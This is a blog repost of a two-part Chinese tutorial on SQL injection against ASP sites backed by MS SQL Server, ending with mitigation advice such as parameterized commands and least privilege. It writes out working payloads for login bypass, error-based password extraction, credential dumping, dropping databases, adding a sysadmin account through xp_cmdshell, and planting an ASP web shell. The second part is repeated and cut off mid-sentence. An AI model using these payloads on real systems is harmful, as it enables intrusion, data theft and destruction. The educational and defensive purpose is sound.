2013年9月27日 星期五

SQL Injection (資料隱碼)– 駭客的 SQL填空遊戲

在現今的應用程式架構中,大部分都含有資料庫,以容納各式各樣的資料。而在各類型的資料庫中,又以結構化查詢語言(SQL Structure Query Language)為基礎的關聯式資料庫管理系統(RDBMS Relational Database Management System)最為流行。
一般的程式設計師在存取資料庫時,往往是利用 Visual Basic等第三代語言來組織 SQL 語言,然後再傳遞給關聯式資料庫系統執行,以建立或刪除資料結構,賦予或移除使用權限,乃至於新增、修改、刪除或查詢資料。因為關聯式資料庫所有的執行動 作皆是遵循 SQL 命令,所以透過此種方式可以很方便地完成各種資料維護工作。但也正因為 SQL 語言無所不能,所以稍有漏洞就會讓駭客有機可乘。這兩期文章就針對這個主題做一個深入的探討。
網站的資料存取一般來說是比較危險的,因為網際網路是一個開放的環境,而不像一般公司內部網路,除了有電腦本身的安全設計,還可以過濾篩檢員工的身 分背景。網際網路上龍蛇雜處,大部分的使用者都循規導矩,但少數圖謀不軌的人卻處心積慮地要侵入我們的系統,竊取有價值的資料。但一般的網管人員及網頁設 計師,可能在安全設定上有著重重防範,如架設防火牆,設計非軍事區(DMZ),限制網站登入者的身分等等。但由於缺乏對 SQL 語言及資料庫管理系統的認知,而大開系統的後門。
本文針對微軟的 ASP 網站架構搭配 MS SQL Server 做一個探討及示範,希望能提供各網站的管理人員對 SQL Injection 的入侵方式有個基本的認識,就筆者在撰寫本文時,利用搜尋網站隨意找幾個有會員機制的網站來測試,其中多數都有被此類方式侵入的危險,大家不可不慎。
筆者在此先建立一個一般會員網站登入網頁的範例,以及相關資料表的架構如下:
資料表的 Schema 如程式碼列表 1
CREATE TABLE [tblUser] (
     [UserID] [int] IDENTITY (1, 1) NOT NULL ,
     [UserName] [nvarchar] (50) NOT NULL ,
     [Password] [nvarchar] (50) NOT NULL ,
     [Pri] [tinyint] NULL CONSTRAINT [DF_tblUser_Pri] DEFAULT (0),
     CONSTRAINT [PK_tblUser] PRIMARY KEY CLUSTERED
     ([UserID])
)
程式碼列表 1:存放會員資料的資料表 Schema。
並在資料表加入兩筆資料內容
INSERT tblUser(UserName,Password,Pri) VALUES('Admin','AdminPass',10)
INSERT tblUser(UserName,Password,Pri) VALUES('Byron','ByronPass',10)
登入網頁的撰寫方式如程式碼列表 2
<%
If Request("UserName")<>"" And Request("Pass")<>"" Then
Dim cnn,rec,strSQL
Set cnn=Server.CreateObject("ADODB.Connection")
With cnn
.ConnectionString=Application("Conn")
.Open

'利用使用者輸入的資料來組合 SQL 語法
strSQL="SELECT * FROM tblUser WHERE UserName='" & _
Request("UserName") & "' AND Password='" & Request("Pass") & "'"
'直接交給 SQL Server 執行,這是最危險的地方
Set rec=.Execute(strSQL)
End With
If NOT rec.EOF Then
Session("UserName")=Request("UserName")
Response.Write "歡迎光臨 " & Request("UserName")
Else
Response.Write "您的帳號/密碼輸入錯誤"
End If

Else
%>
<Form action="login.asp">
使用者名稱:<Input Name="UserName"><P>
密碼:<Input Name="Pass" >
<P>
<Input type="submit" Value="確定">
</Form>
<%
End If
%>
程式碼列表 2:簡單的 ASP 登入網頁。
程式碼列表 2 中的 ASP 網頁利用 VBScript 來組合查詢使用者帳號、密碼的 SQL 查詢語法,邏輯相當簡單,若資料表中存有符合的帳號、密碼記錄,則回傳的 Recordset 的 EOF 屬性是 False,該使用者就算正確登入。
針對此種網頁,我們以下就開始利用 SQL Injection 的技巧來”駭”這個網站吧!
剪接語法
利用任何已知的使用者名稱登入1:例如在網咖偷偷地觀察某個使用者用什麼樣的帳號登入到哪個網站等等,或著先試試一般管理人員可能建立的使用者名稱,如:admin、administrator、supervisor、sa 等等。
在需要輸入使用者名稱的地方鍵入以下的內容2
Admin’--
而密碼欄位隨便亂輸入,對於會被執行的整句 SQL 沒有什麼關係。示意圖如圖 1

圖 1:利用已知的會員名稱登入,讓程式碼跳過密碼檢查。
你可以試著將輸入使用者名稱的內容與程式碼列表 2 的 SQL 語法做個整理,將會發現實際傳給 SQL Server 的語法如下
SELECT * FROM tblUser WHERE UserName='admin'--' AND Password='asdf'
關鍵就是原先的 AND 子句被 “--" 標示成說明,也就是 SQL Server 僅僅執行
SELECT * FROM tblUser WHERE UserName='admin'
自然,若有該使用者存在,則這個 SQL 查詢語法就傳回該記錄的所有欄位內容。再按照程式碼列表 2 的判斷方式:傳回的 Recordset 是否有記錄,若有就算登入驗證成功。則駭客就可以輕易地以該使用者的身分進入了。
用未知的使用者名稱登入:若沒有已知的帳號,也可以用以下的方式輸入到使用者名稱欄位,便能大大方方地侵入:
‘ or 1=1--
SQL Server 所接收的整個語法變成:
SELECT * FROM tblUser WHERE UserName='' or 1=1--' AND Password='asdf'
因為加上的 or 1=1,則不管之前的條件為合,只要某個條件為真,整個判斷式就都為真,因此回傳的 Recordset 物件包含了全部的會員記錄。也導致程式碼列表 2 中的 Recordset 物件 EOF 屬性為 False。
利用錯誤訊息
獲取欄位數量與名稱
微軟為了方便 ASP 的程式開發者可以順利地除錯,因此每當 Script 執行錯誤時,都會透過預設的 <系統所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp 網頁將發生錯誤的原因回傳到前端,對於開發者來說,這是一個非常方便的錯誤呈現方式。但駭客也可以利用這個錯誤訊息取得原始 ASP 中的查詢語法,並從中了解資料庫中資料表的架構。例如在使用者名稱欄位輸入:
' HAVING 1=1--
則系統會傳回如圖 2 的錯誤訊息。


圖 2:故意製造錯誤,從錯誤訊息中找尋蛛絲馬跡。
圖 2 可以知道存放使用者的資料表名稱是 tblUser,且查詢中有一個欄位叫 UserID。因此我們再次輸入:
'GROUP BY UserID HAVING 1=1--
這回錯誤訊息如圖 3


圖 3:利用錯誤訊息來了解資料表大致結構。
再次在圖 3 的錯誤訊息中可知查詢的欄位還有 UserName,因此繼續以下列方式來查詢3
'GROUP BY UserID,UserName HAVING 1=1--
利用上述方式取到完整查詢語法後,也就是輸入以下的語法,但不再造成執行時期錯誤:
'GROUP BY UserID,UserName,Password,Pri HAVING 1=1--
因為整個傳遞到 SQL Server 的語法變成:
SELECT * FROM tblUser WHERE UserName=''GROUP BY UserID,UserName,Password,Pri HAVING 1=1--' AND Password='asdf'
如此列出所有欄位的 Group By 方式幾近等於沒有 Group By,但語法完全正確表示所有的欄位都已經包含在其中了。駭客就此可以約略估計資料表的欄位結構。
在輸入帳號的地方執行以下語法便可以加入自訂的使用者到資料表中。
';INSERT INTO tblUser Values('hacker','hacker',10)--
獲取欄位資料型態

若有資料欄位格式不對,導致無法加入自訂使用者,也可以利用下列語法傳回的錯誤訊息來判讀資料欄位格式:
'UNION SELECT 'abc',1,1,1 FROM tblUser --
結果傳回如圖 4 的錯誤訊息。


圖 4:利用錯誤訊息來判斷欄位的資料型態。
在這裡我們透過 UNION 語法來組合兩句 SELECT 查詢,第一句 SELECT 語法的第一個欄位 UserID 是 int 格式,但對應的第二句 SELECT 語法;第一個欄位的資料是 varchar 格式的 ‘abc’,因此出現如圖 4 的錯誤訊息。駭客也由此得知資料表第一個欄位的資料型態是 int。有耐心地把一個個欄位測試完畢後,便可以得到整個資料表的欄位格式。

獲取會員的帳號密碼

利用這個技巧,還可以再進一步獲取使用者的帳號和密碼,例如先以下列語法詢問帳號:
'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'a'--
IIS 回傳錯誤訊息如圖 5

圖 5:利用錯誤訊息來取得使用者帳號和密碼。
因為傳回的記錄”Admin”是 nvarchar 格式,而透過 union 對應到原先 int 資料欄位,因此有圖 5 的錯誤訊息。由以上的錯誤可以得知有一個稱為”Admin”的帳號存在,之後再以下列語法獲得該帳號的密碼。
'UNION SELECT Password,1,1,1 FROM tblUser WHERE UserName='admin'--
錯誤訊息如圖 6


圖 6:利用錯誤訊息取得帳號 admin 的密碼。
之後再繼續以下列語法來獲得其他人的帳號密碼。
'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'admin'--
錯誤訊息如圖 7


圖 7:依序透過相同的機制取得其他人的帳號密碼。
依次替換掉 WHERE UserName > 的條件內容,就可以取得資料表中所有的帳號和密碼組合。
駭客甚至可以透過以下的語法將整個使用者帳號密碼串成字串:在輸入使用者帳號的欄位填入如程式碼列表 3 的 SQL 語句。
';DECLARE @str VARCHAR(8000) SET @str='@' SELECT @str=@str+' '+UserName+'/'+Password FROM tblUser WHERE UserName>@str SELECT @str AS IDPass INTO tblHacker--
程式碼列表 3:將所有的使用者資料組成字串,放入自訂的資料表中。
程式碼列表 3 中,先宣告一個長度為 8000 的字串變數 @str,再將整個 tblUser 資料表的內容組成一個字串放到變數 @str 之內,最後再利用 SELECT … INTO… 語法把 @str 變數的內容放到自建的資料表 tblHacker 之中。
然後再利用前述故意營造錯誤的技巧換回資料內容。
' UNION SELECT IDPass,1,1,1 FROM tblHacker--
結果如圖 8


圖 8:取回全部的會員帳號密碼資料。
當然事後要做一個清除的動作,以避免系統管理人員的注意,依然在名稱欄位輸入如下的內容。
' ; DROP TABLE tblHacker--
在本期的文章中,筆者介紹了一般的 SQL Injection 攻擊,相信你不是感到興奮且躍躍欲試,想要找幾個網站來開刀,就是感到毛骨悚然,趕快檢視一下自己的系統。不管你是何者,筆者期盼本文不致遭到誤用,若有 心測試別站的安全程度,建議你將成果告知該站的管理人員,讓整個網際網路的世界更為安全,一般人才會願意流漣在其上,而我們資訊人員才有更好的未來。
在下期文章中,筆者將繼續介紹進階的 SQL Injection 攻擊,並提出因應的防範之道,期待再次與你見面。
後記:本文所舉各例,並非單指Microsoft SQL Server而言,事實上所有關聯式資料庫如Oracle等均是如此。同時,本文所舉各例,並非單指ASP而言,事實上對所有動態網頁如JSP、PHP等 均是如此(即使你的系統還停留在CGI技術也是一樣),奉勸各位即時檢視您的系統,防患未然。
(本文由SQL Server電子雜誌 http://www.sqlserver.com.tw 授權台灣微軟獨家轉載)
註釋:

1 就筆者觀察,現今很多的有會員機制的網站在登入時都是以身分證字號當作登入帳號,所以駭客只要想辦法拿到某個會員的身分證字號就可以試試這個方法。
2 以下的 SQL Injection 登入方式都是只利用使用者帳號的欄位,輸入不同的 SQL 語法,以組織各種可能的執行方式,而都利用 “--” 將後面的密碼欄位標示成 SQL 說明。
3 駭客的第一特質:有耐心。筆者因此就沒有做駭客的天賦,為了撰寫這篇文章,筆者反反覆覆地測試各個網站,重複的過程非常乏味,所得結論是既然有這個精力,筆者寧願多看點書,賺取正當的收入。

原始出處http://www.microsoft.com/taiwan/sql/SQL_Injection_G2.htm
SQL Injection – 駭客的 SQL填空遊戲(下)
SQL Server 本身提供了非常多的函數、預存程序、延伸預存程序來輔助 T-SQL,好讓程式設計師透過 T-SQL 完成商業邏輯運作所需的預存程序。但一般的使用者較熟悉以 Visual Basic 等程式語言來撰寫存取資料的程式,因而對此類的功能所知不多,更別提要如何防範駭客透過這一類的功能來遂行其目的。
使用具破壞力的語法
以下列舉部分的功能稍做討論。

停掉 SQL Server 的執行

直接輸入 Shutdown 命令,要求 SQL Server 停止執行。在網頁上輸入帳號的地方可以直接鍵入以下語法便可:
' ;SHUTDOWN--
破壞內容

當然,只要權限夠,也可以執行有破壞性的 SQL 語法1 。如刪除某個資料庫:
' ;DROP Database <資料庫名稱>--
刪除資料庫內某個資料表:
' ;DROP Table <資料表名稱>--
清空某個資料表:
' ;Truncate Table <資料表名稱>--
抑或是以 DELETE 清空資料表:
' ;DELETE FROM <資料表名稱>--
使用進階且功能強悍的延伸預存程序
這一類的預存程序多以 xp_ 開頭,存放在 master 系統資料庫的延伸預存程序中。有趣的是大部分的延伸預存程序在 SQL Server 所附的線上說明中都沒有列出來,也沒有說明。筆者本想到微軟網站利用全文檢索找尋這些延伸預存程序的蛛絲馬跡,以列表討論,但發現大多是無可奉告 (undocumented),看來延伸預存程序雖然功能強大,但微軟並不鼓勵大家使用。
筆者選幾個較有趣的分別介紹。
執行其他應用程式
xp_cmdshell 應該是大家最常使用的延伸預存程序之一,透過這個延伸預存程序可以 SQL Server 的系統帳號來執行任何應用程式。
以下程式碼列表 1 直接利用作業系統所附的 NET 工具程式,在 Windows 系統中加入一個使用者帳號 Hacker ;沒有密碼,並將該帳號加到 SQL Server,再放入到最大的使用者權力群組 sysadmin:
' ; EXEC MASTER..XP_CMDSHELL 'net user Hacker /add' EXEC MASTER..SP_GRANTLOGIN 'BYRON-XP\Hacker' EXEC MASTER..SP_ADDSRVROLEMEMBER 'BYRON-XP\Hacker','sysadmin'--
程式碼列表 1:加入自訂的使用者,並賦予該帳號最大的權限。
若你還開放網際網路存取 SQL Server預設使用的 TCP 1433 埠,則駭客將有機會唐而皇之地控管 SQL Server。
與 Registry 相關的系統預存程序
SQL Server 提供了大量與 Registry 相關的延伸預存程序,以 xp_reg 開頭作為代表2。內容有:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
駭客可以利用此類的延伸預存程序存取系統的註冊資料,例如查詢該機器上有哪些共享目錄,範例如程式碼列表 2。再利用上一期的技巧,以錯誤訊息來呈現結果。
CREATE TABLE tblShareDir(DirName VARCHAR(100), DirAtt VARCHAR(100))
INSERT tblShareDir EXEC MASTER..XP_REGENUMVALUES HKEY_LOCAL_MACHINE,'system\CurrentControlSet\Services\lanmanserver\shares'
程式碼列表 2:利用 XP_RegEnumValues 取得系統的共享目錄。
再利用上篇文章介紹的以錯誤訊息來呈現結果的技巧,或是以下文中透過 bcp.exe 工具程式將 tblShareDir 輸出成檔案,都可以取得想要的結果。
與 OLE Automation/COM 物件相關的延伸預存程序
SQL Server 提供了一組存取伺服器外部 OLE 物件相關的預存程序。它們分別是:
sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop
你可以用它們來建立 OLE 物件(一般COM 物件就可以了,但要支援 IDispatch 介面),執行物件的方法,讀取與修改屬性,進行錯誤處理。但它們無法回應一般 OLE 或 COM 物件的事件。
有了 COM/OLE 物件的建立與執行,對於控制系統來說可算是如虎添翼,無所不能了。稍舉個例子,駭客可以利用它來取得有興趣的網頁的原始碼,如程式碼列表 3
';DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt'--
程式碼列表 3:取得 login.asp 網頁的內容。
程式碼列表 3 中,利用 SP_OACREATE 建立 “wscript.shell” 物件,並利用 SP_OAMETHOD 呼叫 “wscript.shell” 物件的 run 方法,以執行作業系統命令介面工具程式 cmd.exe,將 login.asp 輸出到 test.txt 檔案中,這時駭客只要在網頁上輸入 http://.../.../test.txt 就可以看到 login.asp 寫作的方式,作為下一步侵入的基本資訊。
當然,駭客也可以利用 Scripting.FileSystemObject 物件來建立一個 ASP 網頁後門,語法如程式碼列表 4 所示:
DECLARE @fs int,@fi int
EXEC SP_OACREATE 'Scripting.FileSystemObject',@fs OUTPUT
EXEC SP_OAMETHOD @fs,'CreateTextFile',@fs OUTPUT,'C:\InetPub\WWWRoot\SQLInject\Shell.asp',1
EXEC SP_OAMETHOD @fs,'WriteLine',null,'<% Set objShell=Server.CreateObject("WScript.Shell") : objShell.Run Request("cmd") %>'
程式碼列表 4:建立 ASP 後門網頁。
從此透過 URL 就可以執行任何執行檔,範例如下:
http://localhost/sqlinject/shell.asp?cmd=C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt
其他相關的延伸預存程序
這一類的延伸預存程序,你可能要小心的還有:
延伸預存程序的名稱 用途 使用範例
xp_availablemedia 顯示系統上可用的磁碟機,如 C:\。 xp_availablemedia
xp_dirtree 顯示某個目錄下的子目錄與檔案架構。 xp_dirtree 'c:\inetpub\wwwroot\'
xp_enumdsn 列出系統上已經設定好的 ODBC 資料來源名稱(DSN Data Source Name)。 xp_enumdsn
xp_enumgroups 列出作業系統上的使用者群組及該群組的說明。 xp_enumgroups
xp_getfiledetails 獲取某個檔案的相關屬性。 xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
dbo.xp_makecab 將目標多個檔案壓縮到某個目標檔案之內。
所有要壓縮的檔案都可以接在參數列的最後方,以逗號隔開。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
xp_ntsec_enumdomains 列出伺服器的網域名稱。 xp_ntsec_enumdomains
xp_servicecontrol 停掉或啟動某個服務。 xp_servicecontrol 'stop','schedule'
xp_servicecontrol 'start','schedule'
dbo.xp_subdirs 只列某個目錄下的子目錄。 dbo.xp_subdirs 'c:\'
xp_terminate_process 停掉某個執行中的程序,但賦予的參數是 Process ID。
利用”工作管理員”,透過選單「檢視」-「選擇欄位」勾選 pid,就可以看到每個執行程序的 Process ID
xp_terminate_process 2484
xp_unpackcab 解開壓縮檔。 xp_unpackcab 'c:\test.cab','c:\temp',1
以上表列的延伸預存程序是筆者在 master 系統資料庫中,尋找名稱比較有趣的;經過一一測試的結果。但不代表可以用來侵入系統的延伸預存程序都已經完全列出,畢竟駭客的創意屢屢翻新,你必須要時時謹慎小心。
SQL Server 的工具程式
透過 SQL Server 所提供的一些工具程式可以直接將資料表的內容輸出成檔案,例如透過 bcp 的 out 參數,將儲存會員資料的資料表整個輸出成檔案,範例如下:
bcp northwind.dbo.tblUser out C:\inetput\wwwroot\sqlinject\user.txt -c -Usa -P -SByron-XP
當然,isql.exe 和 osql.exe 也都可以辦到同樣的功能,例如:
osql -Usa -P -SByron-XP -dNorthwind -oc:\inetpub\wwwroot\sqlinject\users.txt -Q"select * from tblUser"
這一類的工具程式可以搭配前文的 xp_cmdshell 延伸預存程序,或是交由利用 sp_OA 系列預存程序建立的木馬 ASP 來執行,都可以達到竊取資料的目的。
對於預防 SQL Injection 的建議
綜合以上各種的侵入技巧,筆者在此歸納一些維護系統安全的建議。
  • 儘量地利用 ASP 或 ASP.NET 在伺服器端檢查與限制輸入變數的型別與長度,過濾掉不需要的內容。要注意的是這些檢查不要放在前端。
    就 算在前端利用 HTML Input 標籤的 MaxLength 屬性,或是以 JScript 撰寫程式來設定欄位長度的限制,只要將該網頁另存新檔,修改內容後(一般只要改寫 Form 的 Action 屬性以及 Input 的 MaxLength 屬性),重新以瀏覽器開啟再執行便可避過這些瀏覽器端的檢查。
  •  ASP 程式登入 SQL Server 的帳號不要使用 sa,或任何屬於 Sysadmin 群組的帳號,避免有過大的權限。
  • sa 一定要有強固的密碼,尤其是 SQL Server 7.0 以前的版本,在裝機時預設 sa 沒有密碼,而一般管理者裝完後也忘了或怕麻煩而不更改密碼。
  • 利用 ADO 的 Command 物件或 ADO.NET 的 SqlCommand class 來透過參數執行 SQL 語法,直接以 ADODB 的 Connection 物件執行預存程序的寫法一樣糟糕。範例如下:
Exec spXXX 參數,…
因為駭客所加入的 SQL 語法一樣可以執行:
Exec spXXX 參數,…;SHUTDOWN
我們可以建立一個預存程序程式碼列表 5
ECREATE PROC spUserAccount
@UserName NVarchar(50),@Password NVarchar(50)
AS
SELECT UserName,Password FROM tblUser
WHERE UserName=@UserName AND Password=@Password
程式碼列表 5:用來找尋符合的使用者帳號密碼的預存程序。
同時將整個 ASP 的查詢換成如程式碼列表 6 的寫法:
<%
If Request("UserName")<>"" And Request("Pass")<>"" Then
Dim cnn,rec,strSQL,cmd
Set cnn=Server.CreateObject("ADODB.Connection")
With cnn
.ConnectionString=Application("Conn")
.Open
End With
'透過 ADODB.Command 物件來搭配預存程序,駭客就無法
'利用組合 SQL 字串的方式來侵入系統
Set cmd=Server.CreateObject("ADODB.Command")
With cmd
.ActiveConnection = cnn
.CommandText = "spUserAccount"
.CommandType = 4 'adCmdStoredProc
.Parameters.Append .CreateParameter("UserName", 202, 1, 50, Request("UserName"))
'202 代表 adVarWChar,1 代表 adParamInput
.Parameters.Append .CreateParameter("Password", 202, 1, 50, Request("Pass"))
Set rec = .Execute()
End With
If NOT rec.EOF Then
Session("UserName")=Request("UserName")
Response.Write "歡迎光臨 " & Request("UserName")
Else
Response.Write "您的帳號/密碼輸入錯誤"
End If
Else
%>
程式碼列表 6:利用 ADODB 的 Command 物件來存取預存程序。
如程式碼列表 6 中灰色的程式碼區塊,將存取 SQL Server 預存程序的方式改以透過 ADODB 的 Command 物件,如此駭客就不能用加入自訂 SQL 的語法來要求 SQL Server 執行額外的動作。
  • 改掉預設的 Web 虛擬路徑,不要使用 IIS 裝好後預設的 <系統所在磁碟>\Inetpub\WWWRoot 路徑,否則利用前述的檔案存取方式,很容易在該目錄下動手腳。
  • 不要顯示錯誤訊息到前端。
    利用 VBScript 語法的 On Error Resume Next,並搭配 If Err.Number<>0 Then 的錯誤處理方式,自行將錯誤重導到適當的錯誤處理網頁,如此系統將更穩固,且駭客也不易透過錯誤訊息來探知系統的內部運作方式。
    或著,也可以修改<系統所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp 預設網頁,最簡單的方式就是將它更改名字3
  •  將用不到但功能強大的延伸預存程序刪除。
  •  監控系統的執行。
  •  防火牆關閉 TCP 1433/UDP 1434 埠(port)對外的連線4
  •  隨時注意是否有新的修補程式要上。
以上是針對 SQL Injection 防護方式的建議,但我們應該謹記於心的是世界上沒有絕對安全的系統,只有自己時時小心,多看多聽駭客們是否有翻新的手法,系統是否有異常的狀況,唯有不斷加強系統的安全措施,才能將危害降至最低。
相關網址
以下是一些關於 SQL 以及系統安全的網址,提供給大家參考。
http://www.microsoft.com/sql/
http://www.microsoft.com/security/
http://www.sqlsecurity.com/
http://www.nextgenss.com/
http://www.atstake.com/
http://www.securityfocus.com/
http://www.appsecinc.com/
註釋:
1 就筆者的觀察,一般的程式設計師多喜歡用 SQL Server 最大的預設帳號 sa 來存取資料。因此給予駭客予取予求的權力。
2 這裡表列的延伸預存程序可以透過 Enterprise Manager 或 Query Analyzer 看到,但是在 SQL Server 線上叢書找不到相關資料。
3 筆者不建議一開始就刪除500-100.asp,因為這會導致很難替程式除錯。建議在程式開發完成上線後,將 500-100.asp 更改名稱。在自行撰寫的 asp 檔首加入 On Error Resume Next/If Err.Number <> 0 Then 等,錯誤處理應該是在程式撰寫時就要注意的程式架構,若為了除錯方便,可以先以單引號讓 On Error Resume Next 語法成為說明。
4 有報告顯示現今有網路蜘蛛專門尋找在網際網路上,可以直接透過 TCP 1433/UDP 1434 埠(port)存取,但 sa 帳號沒有設定密碼的 SQL Server,在找到該伺服器後便利用前述的技巧取得對系統的控制權。
SQL Injection – 駭客的 SQL填空遊戲(下)
SQL Server 本身提供了非常多的函數、預存程序、延伸預存程序來輔助 T-SQL,好讓程式設計師透過 T-SQL 完成商業邏輯運作所需的預存程序。但一般的使用者較熟悉以 Visual Basic 等程式語言來撰寫存取資料的程式,因而對此類的功能所知不多,更別提要如何防範駭客透過這一類的功能來遂行其目的。
使用具破壞力的語法
以下列舉部分的功能稍做討論。

停掉 SQL Server 的執行

直接輸入 Shutdown 命令,要求 SQL Server 停止執行。在網頁上輸入帳號的地方可以直接鍵入以下語法便可:
' ;SHUTDOWN--
破壞內容

當然,只要權限夠,也可以執行有破壞性的 SQL 語法1 。如刪除某個資料庫:
' ;DROP Database <資料庫名稱>--
刪除資料庫內某個資料表:
' ;DROP Table <資料表名稱>--
清空某個資料表:
' ;Truncate Table <資料表名稱>--
抑或是以 DELETE 清空資料表:
' ;DELETE FROM <資料表名稱>--
使用進階且功能強悍的延伸預存程序
這一類的預存程序多以 xp_ 開頭,存放在 master 系統資料庫的延伸預存程序中。有趣的是大部分的延伸預存程序在 SQL Server 所附的線上說明中都沒有列出來,也沒有說明。筆者本想到微軟網站利用全文檢索找尋這些延伸預存程序的蛛絲馬跡,以列表討論,但發現大多是無可奉告 (undocumented),看來延伸預存程序雖然功能強大,但微軟並不鼓勵大家使用。
筆者選幾個較有趣的分別介紹。
執行其他應用程式
xp_cmdshell 應該是大家最常使用的延伸預存程序之一,透過這個延伸預存程序可以 SQL Server 的系統帳號來執行任何應用程式。
以下程式碼列表 1 直接利用作業系統所附的 NET 工具程式,在 Windows 系統中加入一個使用者帳號 Hacker ;沒有密碼,並將該帳號加到 SQL Server,再放入到最大的使用者權力群組 sysadmin:
' ; EXEC MASTER..XP_CMDSHELL 'net user Hacker /add' EXEC MASTER..SP_GRANTLOGIN 'BYRON-XP\Hacker' EXEC MASTER..SP_ADDSRVROLEMEMBER 'BYRON-XP\Hacker','sysadmin'--
程式碼列表 1:加入自訂的使用者,並賦予該帳號最大的權限。
若你還開放網際網路存取 SQL Server預設使用的 TCP 1433 埠,則駭客將有機會唐而皇之地控管 SQL Server。
與 Registry 相關的系統預存程序
SQL Server 提供了大量與 Registry 相關的延伸預存程序,以 xp_reg 開頭作為代表2。內容有:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
駭客可以利用此類的延伸預存程序存取系統的註冊資料,例如查詢該機器上有哪些共享目錄,範例如程式碼列表 2。再利用上一期的技巧,以錯誤訊息來呈現結果。
CREATE TABLE tblShareDir(DirName VARCHAR(100), DirAtt VARCHAR(100))
INSERT tblShareDir EXEC MASTER..XP_REGENUMVALUES HKEY_LOCAL_MACHINE,'system\CurrentControlSet\Services\lanmanserver\shares'
程式碼列表 2:利用 XP_RegEnumValues 取得系統的共享目錄。
再利用上篇文章介紹的以錯誤訊息來呈現結果的技巧,或是以下文中透過 bcp.exe 工具程式將 tblShareDir 輸出成檔案,都可以取得想要的結果。
與 OLE Automation/COM 物件相關的延伸預存程序
SQL Server 提供了一組存取伺服器外部 OLE 物件相關的預存程序。它們分別是:
sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop
你可以用它們來建立 OLE 物件(一般COM 物件就可以了,但要支援 IDispatch 介面),執行物件的方法,讀取與修改屬性,進行錯誤處理。但它們無法回應一般 OLE 或 COM 物件的事件。
有了 COM/OLE 物件的建立與執行,對於控制系統來說可算是如虎添翼,無所不能了。稍舉個例子,駭客可以利用它來取得有興趣的網頁的原始碼,如程式碼列表 3
';DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt'--
程式碼列表 3:取得 login.asp 網頁的內容。
程式碼列表 3 中,利用 SP_OACREATE 建立 “wscript.shell” 物件,並利用 SP_OAMETHOD 呼叫 “wscript.shell” 物件的 run 方法,以執行作業系統命令介面工具程式 cmd.exe,將 login.asp 輸出到 test.txt 檔案中,這時駭客只要在網頁上輸入 http://.../.../test.txt 就可以看到 login.asp 寫作的方式,作為下一步侵入的基本資訊。
當然,駭客也可以利用 Scripting.FileSystemObject 物件來建立一個 ASP 網頁後門,語法如程式碼列表 4 所示:
DECLARE @fs int,@fi int
EXEC SP_OACREATE 'Scripting.FileSystemObject',@fs OUTPUT
EXEC SP_OAMETHOD @fs,'CreateTextFile',@fs OUTPUT,'C:\InetPub\WWWRoot\SQLInject\Shell.asp',1
EXEC SP_OAMETHOD @fs,'WriteLine',null,'<% Set objShell=Server.CreateObject("WScript.Shell") : objShell.Run Request("cmd") %>'
程式碼列表 4:建立 ASP 後門網頁。
從此透過 URL 就可以執行任何執行檔,範例如下:
http://localhost/sqlinject/shell.asp?cmd=C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt
其他相關的延伸預存程序
這一類的延伸預存程序,你可能要小心的還有:
延伸預存程序的名稱 用途 使用範例
xp_availablemedia 顯示系統上可用的磁碟機,如 C:\。 xp_availablemedia
xp_dirtree 顯示某個目錄下的子目錄與檔案架構。 xp_dirtree 'c:\inetpub\wwwroot\'
xp_enumdsn 列出系統上已經設定好的 ODBC 資料來源名稱(DSN Data Source Name)。 xp_enumdsn
xp_enumgroups 列出作業系統上的使用者群組及該群組的說明。 xp_enumgroups
xp_getfiledetails 獲取某個檔案的相關屬性。 xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
dbo.xp_makecab 將目標多個檔案壓縮到某個目標檔案之內。
所有要壓縮的檔案都可以接在參數列的最後方,以逗號隔開。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
xp_ntsec_enumdomains 列出伺服器的網域名稱。 xp_ntsec_enumdomains
xp_servicecontrol 停掉或啟動某個服務。 xp_servicecontrol 'stop','schedule'
xp_servicecontrol 'start','schedule'
dbo.xp_subdirs 只列某個目錄下的子目錄。 dbo.xp_subdirs 'c:\'
xp_terminate_process 停掉某個執行中的程序,但賦予的參數是 Process ID。
利用”工作管理員”,透過選單「檢視」-「選擇欄位」勾選 pid,就可以看到每個執行程序的 Process ID
xp_terminate_process 2484
xp_unpackcab 解開壓縮檔。 xp_unpackcab 'c:\test.cab','c:\temp',1
以上表列的延伸預存程序是筆者在 master 系統資料庫中,尋找名稱比較有趣的;經過一一測試的結果。但不代表可以用來侵入系統的延伸預存程序都已經完全列出,畢竟駭客的創意屢屢翻新,你必須要時時謹慎小心。
SQL Server 的工具程式
透過 SQL Server 所提供的一些工具程式可以直接將資料表的內容輸出成檔案,例如透過 bcp 的 out 參數,將儲存會員資料的資料表整個輸出成檔案,範例如下:
